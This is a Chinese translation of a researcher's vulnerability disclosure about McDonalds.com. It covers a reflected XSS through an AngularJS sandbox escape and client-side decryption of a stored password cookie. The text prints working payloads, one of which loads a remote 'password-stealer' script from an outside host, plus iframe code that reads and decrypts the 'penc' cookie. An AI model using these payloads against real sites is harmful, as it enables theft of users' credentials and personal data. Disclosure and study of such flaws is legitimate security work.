我是如何利用漏洞窃取麦当劳用户的账号和密码的

这是一篇关于如何利用漏洞来窃取麦当劳网站注册用户密码的文章,昨天只是出了这么一个漏洞,但是麦当劳相关负责人还是没有修补,所以作者就写了这么一篇攻略。

最好的防御方式就是攻击,只有知道黑客是如何攻击的,才能找到好的解决方案。

本文来源finnwea.com,由悬镜安全实验室翻译,如需转载请标注来源http://www.xmirror.cn/

通过滥用不安全的加密存储漏洞(链接)和反映的服务器跨站点脚本漏洞(链接),可以窃取和解密来自麦当劳用户的密码。

此外,其他个人详细信息,如用户的姓名,地址和联系方式也可能被盗。

概念证明-通过AngularJS沙箱逃脱反射XSS

McDonalds.com包含反映页面源中的搜索参数(q)的值的搜索页面。

所以当我们搜索** - 测试反射测试 - **它会是这样:

使用链接:

https://www.mcdonalds.com/us/en-us/search-results.html?q=***********-test-reflected-test-***********

麦当劳使用AngularJS,所以我们可以尝试使用搜索值打印唯一的范围ID。 我们可以通过将q参数值更改为{{$ id}}来实现。

我们可以看到{{$ id}}被转换为9 AngularJS范围的唯一ID(单调递增)。

使用链接:

https://www.mcdonalds.com/us/en-us/search-results.html?q={{$id}}

使用{{alert(1)}}作为值不会工作,因为所有AngularJS代码都在沙箱中执行。

然而,AngularJS沙盒是不是真的安全。 事实上,它不应该被信任。

它甚至在1.6版本(源)中被删除,因为它给了一个假的安全感。

PortSwigger创建了一个漂亮的博客文章关于转义AngularJS沙箱(链接)。

我们首先需要找到AngularJS版本的McDonalds.com。 我们可以通过在控制台中执行angular.version来做到这一点。

版本是1.5.3,所以我们需要的沙箱转义是{{x = {'y':''。constructor.prototype}; x ['y']。

charAt = []。join; $ eval('x = alert(1)');}}。

我们可以使用此沙盒逃逸作为搜索值,这会产生警报。

我们甚至可以使用以下沙箱转义来加载外部JavaScript文件,从而产生以下警报。

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/external-alert.js`)');}}` 

JavaScript可以从另一个域加载,因为McDonald不使用Content-Security-Policy头来排除它。

窃取用户的密码

我在McDonalds.com上注意到的另一件事是他们的登录页面,其中包含一个非常特殊的复选框。

通常您可以在登录时选中“记住我”,麦当劳的登录页面提供了记住密码的选项。

我搜索所有的JavaScript的关键字密码,我发现了一些有趣的代码,解密密码。

这里有些事你是不能做的,它是解密密码客户端(甚至存储密码使用双向加密)。

我试图运行代码自己,它的工作!

penc值是存储一年的cookie。 大声笑中!

麦当劳使用CryptoJS加密和解密敏感数据。 他们对每个用户使用相同的密钥和iv,这意味着我只需要偷用penc cookie来解密某人的密码。

我试图解密我的密码在搜索页面上使用恶意搜索有效载荷,但它没有工作。 由于AngularJS沙箱转义有效内容用join方法替换charAt方法,getCookie方法失败。

getCookie方法通过检查charAt(0)是否为空格来尝试从cookie值中修剪空格。

在下面的图像中,您可以看到.charAt(0)返回一个字符串,如果在搜索页上执行,则返回0。

我写了一些JavaScript在iframe加载主页,并使用该iframe窃取cookie。

由于有效载荷由于沙箱逃逸而被执行多次,所以我跟踪变量xssIsExecuted,使得有效载荷只执行一次。

if (!window.xssIsExecuted) {
  window.xssIsExecuted = true;

  var iframe = $('<iframe src="https://www.mcdonalds.com/us/en-us.html"></iframe>');
   $('body').append(iframe);

  iframe.on('load', function() {
    var penc = iframe[0].contentWindow.getCookie('penc');
    alert(iframe[0].contentWindow.decrypt(penc));
});
}

我们现在可以使用以下沙箱转义,这会在警告框中生成我的密码!

{{x = {'y':''.constructor.prototype}; x['y'].charAt=[].join;$eval('x=$.getScript(`https://finnwea.com/snippets/mcdonalds-password-stealer.js`)');}}

很容易做到这些的。 我试图联系麦当劳多次报告这个问题,但不幸的是他们没有回应,这就是为什么我决定公开这个漏洞。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值